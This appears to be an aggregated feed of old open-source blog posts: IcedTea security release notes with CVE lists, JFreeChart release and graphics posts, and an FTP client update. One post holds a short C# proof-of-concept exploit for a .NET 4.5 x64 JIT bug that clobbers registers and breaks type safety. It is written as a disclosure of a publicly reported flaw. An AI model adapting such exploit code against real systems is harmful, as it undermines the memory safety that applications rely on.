|
Posted
over 12 years
ago
The IcedTea 2.3.x branch now uses the same version of HotSpot (hs23 from the IcedTea 2.3.x forest) for all builds:
http://icedtea.classpath.org/hg/release/icedtea7-2.3/rev/4c7988ed06f8
This is following the import of the ARM32 port to the 2.3
... [More]
forest.
Please test and report any issues as soon as possible. We plan to do a 2.3.11 release based on this by the end of the month. There are no planned security updates for the 2.1.x and 2.2.x branches, so they will become obsolete with the October 2013 security update. [Less]
|
|
Posted
over 12 years
ago
Follow @jfreechart
I decided it is well past the right time for me to learn more about graphics technologies on the web so, after wrapping up the JFreeChart 1.0.15 release on Monday, I started exploring. Those of you that haven't been living under
... [More]
a rock for the last few years (as I have been) will already know that the HTML5 Canvas element has an API that's, more or less, functionally equivalent to the Java2D API. I had to convince myself of this, of course, so I wrote a general purpose Java class (CanvasGraphics2D) that maps Graphics2D API calls in Java and emits corresponding Javascript code, and hooked it up to JFreeChart. The result is pretty nice, even if not that useful (the generated Javascript paints a picture with a fixed dimension so, coming from Java, we might as well have just provided a PNG image directly...with a bit of Javascript wizardry there is probably a solution to that, but not now). Here's the output for a sample chart (click here for the live Javascript version) which also tells us some interesting things about how browser usage is changing:
After running CanvasGraphics2D on many of the JFreeChart demo charts and seeing the output, I'm not as reluctant as I once was to learn more Javascript! Thankfully the tools for writing and debugging Javascript have improved also so in the near future...well we'll see.
Alongside Canvas, browser support for the Scalable Vector Graphic (SVG) format appears to have evolved considerably during my time under the rock. So following my success in creating a working CanvasGraphics2D in a short space of time, and being in 'R&D' mode at the moment, I decided to have a go at a light-weight SVGGraphics2D implementation (Batik exists for a long time, but I don't think it can be described as light-weight). This also didn't take all that long, and after connecting it up to JFreeChart here's the result (click here for the "live" SVG version):
This format is a bit more useful coming from Java than the output from CanvasGraphics2D because SVG has built-in support for scaling, so the quality of the image is retained as it is scaled in the browser (or anywhere else), which is nicer than what you get from PNG or other image formats:
Furthermore, the SVG format can be used in a lot of other places besides the browser, so this light-weight SVGGraphics2D class has some utility.
It is working well with JFreeChart, but I have a little more work to do on it (there is no image support so far, and the clipping and transforming code also needs some work). Once it is complete, I plan to attach a proprietary (gasp) licence to it and include it as a small bonus to developers that purchase the JFreeChart Developer Guide...and give an additional incentive for people to (financially) support my open source work.
Follow @jfreechart [Less]
|
|
Posted
over 12 years
ago
I added some long-due functions to FTP, handled by a request dialogLocal and Remote RenameLocal and Remote New FolderFurthermore, currently it is boring that after each operation the file lists are not updated.I thus changed the core representation
... [More]
, fileTable, to be a mutable array and added basic manipultation methods. I will the progressively add provision to update dynamically the list after operations. Right now I worked on delete. The first impact is that the contents of the selection need always be copied before launching an operation, otherwise operations with selections larger than one element may fail or behave wrongly after the first element got processed.Also, I noticed that FTP lacks a refresh function. Sometimes after years you notice the most basic things! I'll need to implement that. [Less]
|
|
Posted
over 12 years
ago
Since two weeks ago my office has been this hillside hut. It’s a bit of a change from the pokey junkroom I’ve worked from this past twelve years. It’s a bit spartan inside right now–just a desk, a chair and a computer–but I’ll post some pictures later when I’ve jazzed it up a bit.
|
|
Posted
over 12 years
ago
The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a PulseAudio sound driver and support for alternative virtual machines.
These releases update our
... [More]
OpenJDK 6 support to include the latest security updates. We recommend that users upgrade as soon as possible.
The security fixes are as follows:
S6741606, CVE-2013-2407: Integrate Apache Santuario
S7158805, CVE-2013-2445: Better rewriting of nested subroutine calls
S7170730, CVE-2013-2451: Improve Windows network stack support.
S8000638, CVE-2013-2450: Improve deserialization
S8000642, CVE-2013-2446: Better handling of objects for transportation
S8001032: Restrict object access
S8001033, CVE-2013-2452: Refactor network address handling in virtual machine identifiers
S8001034, CVE-2013-1500: Memory management improvements
S8001038, CVE-2013-2444: Resourcefully handle resources
S8001043: Clarify definition restrictions
S8001309: Better handling of annotation interfaces
S8001318, CVE-2013-2447: Socket.getLocalAddress not consistent with InetAddress.getLocalHost
S8001330, CVE-2013-2443: Improve on checking order
S8003703, CVE-2013-2412: Update RMI connection dialog box
S8004584: Augment applet contextualization
S8005007: Better glyph processing
S8006328, CVE-2013-2448: Improve robustness of sound classes
S8006611: Improve scripting
S8007467: Improve robustness of JMX internal APIs
S8007471: Improve MBean notifications
S8007812, CVE-2013-2455: (reflect) Class.getEnclosingMethod problematic for some classes
S8008120, CVE-2013-2457: Improve JMX class checking
S8008124, CVE-2013-2453: Better compliance testing
S8008128: Better API coherence for JMX
S8008132, CVE-2013-2456: Better serialization support
S8008585: Better JMX data handling
S8008593: Better URLClassLoader resource management
S8008603: Improve provision of JMX providers
S8008611: Better handling of annotations in JMX
S8008615: Improve robustness of JMX internal APIs
S8008623: Better handling of MBeanServers
S8008744, CVE-2013-2407: Rework part of fix for JDK-6741606
S8008982: Adjust JMX for underlying interface changes
S8009004: Better implementation of RMI connections
S8009013: Better handling of T2K glyphs
S8009034: Improve resulting notifications in JMX
S8009038: Improve JMX notification support
S8009067: Improve storing keys in KeyStore
S8009071, CVE-2013-2459: Improve shape handling
S8009235: Improve handling of TSA data
S8011243, CVE-2013-2470: Improve ImagingLib
S8011248, CVE-2013-2471: Better Component Rasters
S8011253, CVE-2013-2472: Better Short Component Rasters
S8011257, CVE-2013-2473: Better Byte Component Rasters
S8012375, CVE-2013-1571: Improve Javadoc framing
S8012421: Better positioning of PairPositioning
S8012438, CVE-2013-2463: Better image validation
S8012597, CVE-2013-2465: Better image channel verification
S8012601, CVE-2013-2469: Better validation of image layouts
S8014281, CVE-2013-2461: Better checking of XML signature
S8015997: Additional improvement in Javadoc framing
IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures. If you find an issue with the release, please report it to our bug database under the appropriate component. Development discussion takes place on the distro-pkg-dev OpenJDK mailing list and patches are always welcome.
Full details of the release can be found below. Note that we have also included a subset of the changes which were part of the 7u25 update, compromising of those which we thought safest to include in a stable 6 release.
What’s New?
New in release 1.11.12 (2013-07-10)
Security fixes
S6741606, CVE-2013-2407: Integrate Apache Santuario
S7158805, CVE-2013-2445: Better rewriting of nested subroutine calls
S7170730, CVE-2013-2451: Improve Windows network stack support.
S8000638, CVE-2013-2450: Improve deserialization
S8000642, CVE-2013-2446: Better handling of objects for transportation
S8001032: Restrict object access
S8001033, CVE-2013-2452: Refactor network address handling in virtual machine identifiers
S8001034, CVE-2013-1500: Memory management improvements
S8001038, CVE-2013-2444: Resourcefully handle resources
S8001043: Clarify definition restrictions
S8001309: Better handling of annotation interfaces
S8001318, CVE-2013-2447: Socket.getLocalAddress not consistent with InetAddress.getLocalHost
S8001330, CVE-2013-2443: Improve on checking order
S8003703, CVE-2013-2412: Update RMI connection dialog box
S8004584: Augment applet contextualization
S8005007: Better glyph processing
S8006328, CVE-2013-2448: Improve robustness of sound classes
S8006611: Improve scripting
S8007467: Improve robustness of JMX internal APIs
S8007471: Improve MBean notifications
S8007812, CVE-2013-2455: (reflect) Class.getEnclosingMethod problematic for some classes
S8008120, CVE-2013-2457: Improve JMX class checking
S8008124, CVE-2013-2453: Better compliance testing
S8008128: Better API coherence for JMX
S8008132, CVE-2013-2456: Better serialization support
S8008585: Better JMX data handling
S8008593: Better URLClassLoader resource management
S8008603: Improve provision of JMX providers
S8008611: Better handling of annotations in JMX
S8008615: Improve robustness of JMX internal APIs
S8008623: Better handling of MBeanServers
S8008744, CVE-2013-2407: Rework part of fix for JDK-6741606
S8008982: Adjust JMX for underlying interface changes
S8009004: Better implementation of RMI connections
S8009013: Better handling of T2K glyphs
S8009034: Improve resulting notifications in JMX
S8009038: Improve JMX notification support
S8009067: Improve storing keys in KeyStore
S8009071, CVE-2013-2459: Improve shape handling
S8009235: Improve handling of TSA data
S8011243, CVE-2013-2470: Improve ImagingLib
S8011248, CVE-2013-2471: Better Component Rasters
S8011253, CVE-2013-2472: Better Short Component Rasters
S8011257, CVE-2013-2473: Better Byte Component Rasters
S8012375, CVE-2013-1571: Improve Javadoc framing
S8012421: Better positioning of PairPositioning
S8012438, CVE-2013-2463: Better image validation
S8012597, CVE-2013-2465: Better image channel verification
S8012601, CVE-2013-2469: Better validation of image layouts
S8014281, CVE-2013-2461: Better checking of XML signature
S8015997: Additional improvement in Javadoc framing
Backports
S6469266: Integrate Apache XMLSec 1.4.2 into JDK 7
S6541350: TimeZone display names localization
S6656651: Windows Look and Feel LCD glyph images have some differences from native applications.
S6786028: Javadoc HTML WCAG 2.0 accessibility issues in standard doclet – Bold tags should be strong
S6786682: Javadoc HTML WCAG 2.0 accessibility issues in standard doclet – HTML tag should have lang attribute
S6786688: Javadoc HTML WCAG 2.0 accessibility issues in standard doclet – Table must have captions and headers
S6786690: Javadoc HTML WCAG 2.0 accessibility issues in standard doclet – DL tag and nesting issue
S6802694: Javadoc doclet does not display deprecated information with -nocomment option for serialized form
S6821191: Timezone display name localization
S6851834: Javadoc doclet needs a structured approach to generate the output HTML.
S6888167: memory leaks in the medialib glue code
S6961178: Allow doclet.xml to contain XML attributes
S6977550: (tz) Support tzdata2010l
S6996686: (tz) Support tzdata2010o
S7006270: Several javadoc regression tests are failing on windows
S7017800: (tz) Support tzdata2011b
S7027387: (tz) Support tzdata2011d
S7033174: (tz) Support tzdata2011e
S7039469: (tz) Support tzdata2011g
S7090843: (tz) Support tzdata2011j
S7103108: (tz) Support tzdata2011l
S7103405: Correct display names for Pacific/Apia timezone
S7104126: Insert openjdk copyright header back into TZdata files
S7158483: (tz) Support tzdata2012c
S7171223: Building ExtensionSubtables.cpp should use -fno-strict-aliasing
S7198570: (tz) Support tzdata2012f
S7195301: XML Signature DOM implementation should not use instanceof to determine type of Node
S8002225: (tz) Support tzdata2012i
S8009165: Fix for 8006435 needs revision
S8009217: REGRESSION: test com/sun/org/apache/xml/internal/security/transforms/ClassLoaderTest.java fails to compile since 7u21b03
S8009530: ICU Kern table support broken
S8009610: Blacklist certificate used with malware.
S8009987: (tz) Support tzdata2013b
S8009996: tests javax/management/mxbean/MiscTest.java and javax/management/mxbean/StandardMBeanOverrideTest.java fail
S8010714: XML DSig API allows a RetrievalMethod to reference another RetrievalMethod
S8010727: WLS fails to add a logger with “” in its own LogManager subclass instance
S8010939: Deadlock in LogManager
S8011154: java/awt/Frame/ShapeNotSetSometimes/ShapeNotSetSometimes.java failed since 7u25b03 on windows
S8011557: Improve reflection utility classes
S8011992: java/awt/image/mlib/MlibOpsTest.java failed since jdk7u25b05
S8012112: java/awt/image/mlib/MlibOpsTest.java fails on sparc solaris
S8012617: ArrayIndexOutOfBoundsException with some fonts using LineBreakMeasurer
S8012933: Test closed/java/awt/Dialog/DialogAnotherThread/JaWSTest.java fails since jdk 7u25 b07
S8013196: TimeZone.getDefault() throws NPE due to sun.awt.AppContext.getAppContext()
S8014427: REGRESSION: closed/javax/imageio/plugins/bmp/Write3ByteBgrTest.java fails since 7u25 b09
S8014718: Netbeans IDE begins to throw a lot exceptions since 7u25 b10
New in release 1.12.6 (2013-07-10)
Security fixes
S6741606, CVE-2013-2407: Integrate Apache Santuario
S7158805, CVE-2013-2445: Better rewriting of nested subroutine calls
S7170730, CVE-2013-2451: Improve Windows network stack support.
S8000638, CVE-2013-2450: Improve deserialization
S8000642, CVE-2013-2446: Better handling of objects for transportation
S8001032: Restrict object access
S8001033, CVE-2013-2452: Refactor network address handling in virtual machine identifiers
S8001034, CVE-2013-1500: Memory management improvements
S8001038, CVE-2013-2444: Resourcefully handle resources
S8001043: Clarify definition restrictions
S8001309: Better handling of annotation interfaces
S8001318, CVE-2013-2447: Socket.getLocalAddress not consistent with InetAddress.getLocalHost
S8001330, CVE-2013-2443: Improve on checking order
S8003703, CVE-2013-2412: Update RMI connection dialog box
S8004584: Augment applet contextualization
S8005007: Better glyph processing
S8006328, CVE-2013-2448: Improve robustness of sound classes
S8006611: Improve scripting
S8007467: Improve robustness of JMX internal APIs
S8007471: Improve MBean notifications
S8007812, CVE-2013-2455: (reflect) Class.getEnclosingMethod problematic for some classes
S8008120, CVE-2013-2457: Improve JMX class checking
S8008124, CVE-2013-2453: Better compliance testing
S8008128: Better API coherence for JMX
S8008132, CVE-2013-2456: Better serialization support
S8008585: Better JMX data handling
S8008593: Better URLClassLoader resource management
S8008603: Improve provision of JMX providers
S8008611: Better handling of annotations in JMX
S8008615: Improve robustness of JMX internal APIs
S8008623: Better handling of MBeanServers
S8008744, CVE-2013-2407: Rework part of fix for JDK-6741606
S8008982: Adjust JMX for underlying interface changes
S8009004: Better implementation of RMI connections
S8009013: Better handling of T2K glyphs
S8009034: Improve resulting notifications in JMX
S8009038: Improve JMX notification support
S8009067: Improve storing keys in KeyStore
S8009071, CVE-2013-2459: Improve shape handling
S8009235: Improve handling of TSA data
S8011243, CVE-2013-2470: Improve ImagingLib
S8011248, CVE-2013-2471: Better Component Rasters
S8011253, CVE-2013-2472: Better Short Component Rasters
S8011257, CVE-2013-2473: Better Byte Component Rasters
S8012375, CVE-2013-1571: Improve Javadoc framing
S8012421: Better positioning of PairPositioning
S8012438, CVE-2013-2463: Better image validation
S8012597, CVE-2013-2465: Better image channel verification
S8012601, CVE-2013-2469: Better validation of image layouts
S8014281, CVE-2013-2461: Better checking of XML signature
S8015997: Additional improvement in Javadoc framing
Backports
S6469266: Integrate Apache XMLSec 1.4.2 into JDK 7
S6541350: TimeZone display names localization
S6656651: Windows Look and Feel LCD glyph images have some differences from native applications.
S6786028: Javadoc HTML WCAG 2.0 accessibility issues in standard doclet – Bold tags should be strong
S6786682: Javadoc HTML WCAG 2.0 accessibility issues in standard doclet – HTML tag should have lang attribute
S6786688: Javadoc HTML WCAG 2.0 accessibility issues in standard doclet – Table must have captions and headers
S6786690: Javadoc HTML WCAG 2.0 accessibility issues in standard doclet – DL tag and nesting issue
S6802694: Javadoc doclet does not display deprecated information with -nocomment option for serialized form
S6821191: Timezone display name localization
S6851834: Javadoc doclet needs a structured approach to generate the output HTML.
S6888167: memory leaks in the medialib glue code
S6961178: Allow doclet.xml to contain XML attributes
S6977550: (tz) Support tzdata2010l
S6996686: (tz) Support tzdata2010o
S7006270: Several javadoc regression tests are failing on windows
S7017800: (tz) Support tzdata2011b
S7027387: (tz) Support tzdata2011d
S7033174: (tz) Support tzdata2011e
S7039469: (tz) Support tzdata2011g
S7090843: (tz) Support tzdata2011j
S7103108: (tz) Support tzdata2011l
S7103405: Correct display names for Pacific/Apia timezone
S7104126: Insert openjdk copyright header back into TZdata files
S7158483: (tz) Support tzdata2012c
S7171223: Building ExtensionSubtables.cpp should use -fno-strict-aliasing
S7198570: (tz) Support tzdata2012f
S7195301: XML Signature DOM implementation should not use instanceof to determine type of Node
S8002225: (tz) Support tzdata2012i
S8009165: Fix for 8006435 needs revision
S8009217: REGRESSION: test com/sun/org/apache/xml/internal/security/transforms/ClassLoaderTest.java fails to compile since 7u21b03
S8009530: ICU Kern table support broken
S8009610: Blacklist certificate used with malware.
S8009987: (tz) Support tzdata2013b
S8009996: tests javax/management/mxbean/MiscTest.java and javax/management/mxbean/StandardMBeanOverrideTest.java fail
S8010714: XML DSig API allows a RetrievalMethod to reference another RetrievalMethod
S8010727: WLS fails to add a logger with “” in its own LogManager subclass instance
S8010939: Deadlock in LogManager
S8011154: java/awt/Frame/ShapeNotSetSometimes/ShapeNotSetSometimes.java failed since 7u25b03 on windows
S8011557: Improve reflection utility classes
S8011992: java/awt/image/mlib/MlibOpsTest.java failed since jdk7u25b05
S8012112: java/awt/image/mlib/MlibOpsTest.java fails on sparc solaris
S8012617: ArrayIndexOutOfBoundsException with some fonts using LineBreakMeasurer
S8012933: Test closed/java/awt/Dialog/DialogAnotherThread/JaWSTest.java fails since jdk 7u25 b07
S8013196: TimeZone.getDefault() throws NPE due to sun.awt.AppContext.getAppContext()
S8014427: REGRESSION: closed/javax/imageio/plugins/bmp/Write3ByteBgrTest.java fails since 7u25 b09
S8014718: Netbeans IDE begins to throw a lot exceptions since 7u25 b10
The tarballs can be downloaded from:
http://icedtea.classpath.org/download/source/icedtea6-1.11.12.tar.gz
http://icedtea.classpath.org/download/source/icedtea6-1.12.6.tar.gz
SHA256 checksums:
7b2dbad30b233a631dea6631385570ebfa851390e359fd2ef193da0f76a9d884 icedtea6-1.11.12.tar.gz
18d98fd05ef8d5088b09c444e0b025a8295181c6ae2efb6ebefe0a0397062865 icedtea6-1.12.6.tar.gz
The tarballs are accompanied by a digital signature available at:
http://icedtea.classpath.org/download/source/icedtea6-1.11.12.tar.gz.sig
http://icedtea.classpath.org/download/source/icedtea6-1.12.6.tar.gz.sig
respectively. This is produced using my public key. See details below.
PGP Key: 248BDC07 (https://keys.indymedia.org/)
Fingerprint = EC5A 1F5E C0AD 1D15 8F1F 8F91 3B96 A578 248B DC07
The following people helped with these releases:
Severin Gehwolf (S7170730, S8001032, S8008585,S8009067)
Andrew Hughes (all other bug fixes, application of security fixes & backports, release management)
Omair Majid (non-security 7u25 backports)
Chris Phillips (HotSpot security backports)
We would also like to thank the bug reporters and testers!
To get started:
$ tar xzf icedtea-${ver}.tar.gz
$ mkdir icedtea-build
$ cd icedtea-build
$ ../icedtea-${ver}/configure
$ make
where ${ver} is the version used.
Full build requirements and instructions are available in the INSTALL file.
Happy hacking! [Less]
|
|
Posted
over 12 years
ago
I did not discover this vulnerability (Alon
Fliess filed the (public) bug report), but I decided to investigate it and write
a PoC exploit:
using System;
using System.Runtime.CompilerServices;
... [More]
struct Foo {
byte b1, b2, b3;
}
class U1 { }
class U2 { }
struct StackFields {
internal object f1;
internal U1 f2;
internal U2 f3;
}
class Program {
long field1;
long field2;
static void Main() {
new Program().Get(new Foo[1, 1]);
}
[MethodImpl(MethodImplOptions.NoInlining)]
object Get
(T[,] arr) {
StackFields fields = new StackFields();
fields.f1 = new U1();
fields.f2 = new U1();
fields.f3 = new U2();
arr.ToString();
object v = arr[0, 0];
field2 = field1;
Console.WriteLine(fields.f3);
return v;
}
}
This requires .NET 4.5 x64 (and must be built/run in release mode).
The bug is that the array accessor that is generated clobbers the RSI and RDI registers.
[Less]
|
|
Posted
over 12 years
ago
A new release of JFreeChart is now available for download. This release contains support for non-visible series in XYBarRenderer, minor gridlines in PolarPlot, new legend item ordering options, chart editor enhancements, updates to
... [More]
StandardDialScale, localisation files for Japanese, refactored parameter checks and a fix for a minor security flaw in the DisplayChart class, detected and reported by OSI Security:
http://www.osisecurity.com.au/advisories/jfreechart-path-disclosure.
Follow @jfreechart
Here is a sample chart created by JFreeChart:
Patches:
3500621 : LegendTitle order attribute (by Simon Kaczor);
3463807 : ChartComposite does not dispose popup (by Sebastiao Correia);
3204823 : PaintAlpha for 3D effects (by Dave Law);
Bug Fixes:
3561093 : Rendering anomaly for XYPlots;
3555275 : ValueAxis.reserveSpace() problem for axes with fixed dimension;
3521736 : DeviationRenderer optimisation (by Milan Ramaiya);
3514487 : SWTGraphics2D get/setStroke() problem;
3508799 : DefaultPolarItemRenderer does not populate seriesKey in LegendItem;
3482106 : Missing text in SWTGraphics2D (by Kevin Xu);
3484408 : Maven fixes (Martin Hoeller);
3484403 : DateAxis endless loop (by Martin Hoeller);
3446965 : TimeSeries calculates range incorrectly in addOrUpdate();
3445507 : TimeSeriesCollection.findRangeBounds() regression;
3425881 : XYDifferenceRenderer fix (by Patrick Schlott/Christoph Schroeder);
2963199 : SWT print job (by Jonas Rüttimann);
2879650 : Path disclosure vulnerability in DisplayChart servlet;
Also fixed a rendering issue for polar charts using an inverted axis.
Please help to spread the word about JFreeChart (blogs, tweets and word-of-mouth are all appreciated), and if you are using JFreeChart at your company please consider supporting our project by purchasing the JFreeChart Developer Guide and demo source code. Financial support is critically important for the project.
Tweet
Special thanks to the whole team at SourceForge for providing more than a decade of free infrastructure and hosting to the JFreeChart project! [Less]
|
|
Posted
over 12 years
ago
The IcedTea project provides a harness to build the source code from OpenJDK using Free Software build tools, along with additional features such as a PulseAudio sound driver and support for alternative virtual machines.
This release updates our
... [More]
OpenJDK 7 support to include the latest security updates. As mentioned in the notes for the 2.4.0 release, we also continue to track the upcoming u40 release upstream and this update synchronises IcedTea with 7u40 b31.
The security fixes are as follows:
S6741606, CVE-2013-2407: Integrate Apache Santuario
S7158805, CVE-2013-2445: Better rewriting of nested subroutine calls
S7170730, CVE-2013-2451: Improve Windows network stack support.
S8000638, CVE-2013-2450: Improve deserialization
S8000642, CVE-2013-2446: Better handling of objects for transportation
S8001032: Restrict object access
S8001033, CVE-2013-2452: Refactor network address handling in virtual machine identifiers
S8001034, CVE-2013-1500: Memory management improvements
S8001038, CVE-2013-2444: Resourcefully handle resources
S8001043: Clarify definition restrictions
S8001308: Update display of applet windows
S8001309: Better handling of annotation interfaces
S8001318, CVE-2013-2447: Socket.getLocalAddress not consistent with InetAddress.getLocalHost
S8001330, CVE-2013-2443: Improve on checking order (non-Zero builds only)
S8003703, CVE-2013-2412: Update RMI connection dialog box
S8004288, CVE-2013-2449: (fs) Files.probeContentType problems
S8004584: Augment applet contextualization
S8005007: Better glyph processing
S8006328, CVE-2013-2448: Improve robustness of sound classes
S8006611: Improve scripting
S8007467: Improve robustness of JMX internal APIs
S8007471: Improve MBean notifications
S8007812, CVE-2013-2455: (reflect) Class.getEnclosingMethod problematic for some classes
S8007925: Improve cmsStageAllocLabV2ToV4curves
S8007926: Improve cmsPipelineDup
S8007927: Improve cmsAllocProfileSequenceDescription
S8007929: Improve CurvesAlloc
S8008120, CVE-2013-2457: Improve JMX class checking
S8008124, CVE-2013-2453: Better compliance testing
S8008128: Better API coherence for JMX
S8008132, CVE-2013-2456: Better serialization support
S8008585: Better JMX data handling
S8008593: Better URLClassLoader resource management
S8008603: Improve provision of JMX providers
S8008607: Better input checking in JMX
S8008611: Better handling of annotations in JMX
S8008615: Improve robustness of JMX internal APIs
S8008623: Better handling of MBeanServers
S8008744, CVE-2013-2407: Rework part of fix for JDK-6741606
S8008982: Adjust JMX for underlying interface changes
S8009004: Better implementation of RMI connections
S8009008: Better manage management-api
S8009013: Better handling of T2K glyphs
S8009034: Improve resulting notifications in JMX
S8009038: Improve JMX notification support
S8009057, CVE-2013-2448: Improve MIDI event handling
S8009067: Improve storing keys in KeyStore
S8009071, CVE-2013-2459: Improve shape handling
S8009235: Improve handling of TSA data
S8009424, CVE-2013-2458: Adapt Nashorn to JSR-292 implementation change
S8009554, CVE-2013-2454: Improve SerialJavaObject.getFields
S8009654: Improve stability of cmsnamed
S8010209, CVE-2013-2460: Better provision of factories
S8011243, CVE-2013-2470: Improve ImagingLib
S8011248, CVE-2013-2471: Better Component Rasters
S8011253, CVE-2013-2472: Better Short Component Rasters
S8011257, CVE-2013-2473: Better Byte Component Rasters
S8012375, CVE-2013-1571: Improve Javadoc framing
S8012421: Better positioning of PairPositioning
S8012438, CVE-2013-2463: Better image validation
S8012597, CVE-2013-2465: Better image channel verification
S8012601, CVE-2013-2469: Better validation of image layouts
S8014281, CVE-2013-2461: Better checking of XML signature
S8015997: Additional improvement in Javadoc framing
IcedTea includes the usual IcedTea patches to allow builds against system libraries and to support more esoteric architectures. In this release, use of the system version of LCMS is disabled by default to ensure the most secure version is used. Before using the system version, please ensure it is version 2.5 or above, or it has the S8007925, S8007926, S8007927, S8007929 and S8009654 updates listed above.
If you find an issue with the release, please report it to our bug database under the appropriate component. Development discussion takes place on the distro-pkg-dev OpenJDK mailing list and patches are always welcome.
Full details of the release can be found below. Note that the unusually large number of OpenJDK changes is due to the upstream synchronisation mentioned above.
What’s New?
New in release 2.4.1 (2013-07-05)
Security fixes
S6741606, CVE-2013-2407: Integrate Apache Santuario
S7158805, CVE-2013-2445: Better rewriting of nested subroutine calls
S7170730, CVE-2013-2451: Improve Windows network stack support.
S8000638, CVE-2013-2450: Improve deserialization
S8000642, CVE-2013-2446: Better handling of objects for transportation
S8001032: Restrict object access
S8001033, CVE-2013-2452: Refactor network address handling in virtual machine identifiers
S8001034, CVE-2013-1500: Memory management improvements
S8001038, CVE-2013-2444: Resourcefully handle resources
S8001043: Clarify definition restrictions
S8001308: Update display of applet windows
S8001309: Better handling of annotation interfaces
S8001318, CVE-2013-2447: Socket.getLocalAddress not consistent with InetAddress.getLocalHost
S8001330, CVE-2013-2443: Improve on checking order (non-Zero builds only)
S8003703, CVE-2013-2412: Update RMI connection dialog box
S8004288, CVE-2013-2449: (fs) Files.probeContentType problems
S8004584: Augment applet contextualization
S8005007: Better glyph processing
S8006328, CVE-2013-2448: Improve robustness of sound classes
S8006611: Improve scripting
S8007467: Improve robustness of JMX internal APIs
S8007471: Improve MBean notifications
S8007812, CVE-2013-2455: (reflect) Class.getEnclosingMethod problematic for some classes
S8007925: Improve cmsStageAllocLabV2ToV4curves
S8007926: Improve cmsPipelineDup
S8007927: Improve cmsAllocProfileSequenceDescription
S8007929: Improve CurvesAlloc
S8008120, CVE-2013-2457: Improve JMX class checking
S8008124, CVE-2013-2453: Better compliance testing
S8008128: Better API coherence for JMX
S8008132, CVE-2013-2456: Better serialization support
S8008585: Better JMX data handling
S8008593: Better URLClassLoader resource management
S8008603: Improve provision of JMX providers
S8008607: Better input checking in JMX
S8008611: Better handling of annotations in JMX
S8008615: Improve robustness of JMX internal APIs
S8008623: Better handling of MBeanServers
S8008744, CVE-2013-2407: Rework part of fix for JDK-6741606
S8008982: Adjust JMX for underlying interface changes
S8009004: Better implementation of RMI connections
S8009008: Better manage management-api
S8009013: Better handling of T2K glyphs
S8009034: Improve resulting notifications in JMX
S8009038: Improve JMX notification support
S8009057, CVE-2013-2448: Improve MIDI event handling
S8009067: Improve storing keys in KeyStore
S8009071, CVE-2013-2459: Improve shape handling
S8009235: Improve handling of TSA data
S8009424, CVE-2013-2458: Adapt Nashorn to JSR-292 implementation change
S8009554, CVE-2013-2454: Improve SerialJavaObject.getFields
S8009654: Improve stability of cmsnamed
S8010209, CVE-2013-2460: Better provision of factories
S8011243, CVE-2013-2470: Improve ImagingLib
S8011248, CVE-2013-2471: Better Component Rasters
S8011253, CVE-2013-2472: Better Short Component Rasters
S8011257, CVE-2013-2473: Better Byte Component Rasters
S8012375, CVE-2013-1571: Improve Javadoc framing
S8012421: Better positioning of PairPositioning
S8012438, CVE-2013-2463: Better image validation
S8012597, CVE-2013-2465: Better image channel verification
S8012601, CVE-2013-2469: Better validation of image layouts
S8014281, CVE-2013-2461: Better checking of XML signature
S8015997: Additional improvement in Javadoc framing
OpenJDK
S2223192: [macosx] “opposite” seems always null in focus events
S4504275: CORBA boolean type unions do not generate compilable code from idlj
S6337518: Null Arrow Button Throws Exception in BasicComboBoxUI
S6429204: (se) Concurrent Selector.register and SelectionKey.interestOps can ignore interestOps
S6436314: Vector could be created with appropriate size in DefaultComboBoxModel
S6443505: Ideal() function for CmpLTMask
S6470730: Disconnect button leads to wrong popup message
S6725714: par compact – add a table to speed up bitmap searches
S6761744: Hotspot crashes if process size limit is exceeded
S6843375: Debuggee VM crashes performing mark-sweep-compact
S7038105: File.isHidden() should return true for pagefile.sys and hiberfil.sys
S7053526: Upgrade JDK 8 to use Little CMS 2.4
S7056447: test/java/lang/management/ManagementFactory/MBeanServerMXBeanUnsupportedTest.java fails in agentvm
S7066063: CMS: “Conservation Principle” assert failed
S7068740: If you wrap a JTable in a JLayer you can’t use the page up and page down cmds
S7105030: [TEST_BUG] [macosx] The tests never finishes
S7109087: gc/7072527/TestFullGCCount.java fails when GC is set in command-line
S7109977: [macosx] MixingInHwPanel.java test fails on Mac trying to click in the reserved corner
S7115383: TEST_BUG: some jtreg tests fail because they explicitly specify -server option
S7124520: [macosx] re:6373505 Toolkit.getScreenResolution() != GraphicsConfiguration.getNormalizingTransform()
S7132378: Race in FutureTask if used with explicit set ( not Runnable )
S7142919: TEST_BUG: java/nio/channels/AsyncCloseAndInterrupt.java failing intermittently [sol11]
S7151823: The test incorrectly recognizing OS
S7152798: TEST_BUG: sun/management/HotspotClassLoadingMBean/GetClassLoadingTime.java does not compile
S7152866: Tests not run because they are missing the @run tag
S7157656: (zipfs) SeekableByteChannel to entry in zip file always reports its position as 0
S7158350: [macosx] Strange results of SwingUIText printing
S7160084: javac fails to compile an apparently valid class/interface combination
S7163898: add isLoggable() check to doLog()
S7164256: EnumMap clone doesn’t clear the entrySet keeping a reference to the original Map
S7174966: With OCSP enabled on Java 7 get error ‘Wrong key usage’ with Comodo certificate
S7176220: ‘Full GC’ events miss date stamp information occasionally
S7176479: G1: JVM crashes on T5-8 system with 1.5 TB heap
S7179050: [macosx] Make LWAWT be able to run on AppKit thread
S7179353: try-with-resources fails to compile with generic exception parameters
S7181710: [macosx] jawt_md.h shipped with jdk is outdated
S7183520: [macosx]Unable to print out the defined page for 2D_PrintingTiger/JTablePrintPageRangesTest
S7183800: TEST_BUG: Update tests to run on Ubuntu 12.04 (localhost is 127.0.1.1)
S7184908: TEST_BUG: [macosx] closed/com/sun/java/swing/plaf/gtk/4928019/bug4928019.java fails
S7184945: [macosx] NPE in AquaComboBoxUI since jdk7u6b17, jdk8b47
S7186737: Unable to allocate bit maps or card tables for parallel gc for the requested heap
S7190897: (fs) Files.isWritable method returns false when the path is writable (win)
S7194902: [macosx] closed/java/awt/Button/DoubleActionEventTest/DoubleActionEventTest failed since jdk8b49
S7196080: assert(max_heap >= InitialHeapSize) in arguments.cpp
S7196277: JSR 292: Two jck/runtime tests crash on java.lang.invoke.MethodHandle.invokeExact
S7197666: java -d64 -version core dumps in a box with lots of memory
S7198229: Painting during resizing of the frame should be more smooth
S7199143: RFE: OCSP revocation checker should provide possibility to specify connection timeout
S8000435: [macosx] Button painting error under Java 7 on Mac
S8000450: Restrict access to com/sun/corba/se/impl package
S8000529: Regression: SimpleDateFormat incorrectly parses dates formatted with Z and z pattern letters
S8000629: [macosx] Blurry rendering with Java 7 on Retina display
S8000973: SA on windows thread inspection is broken
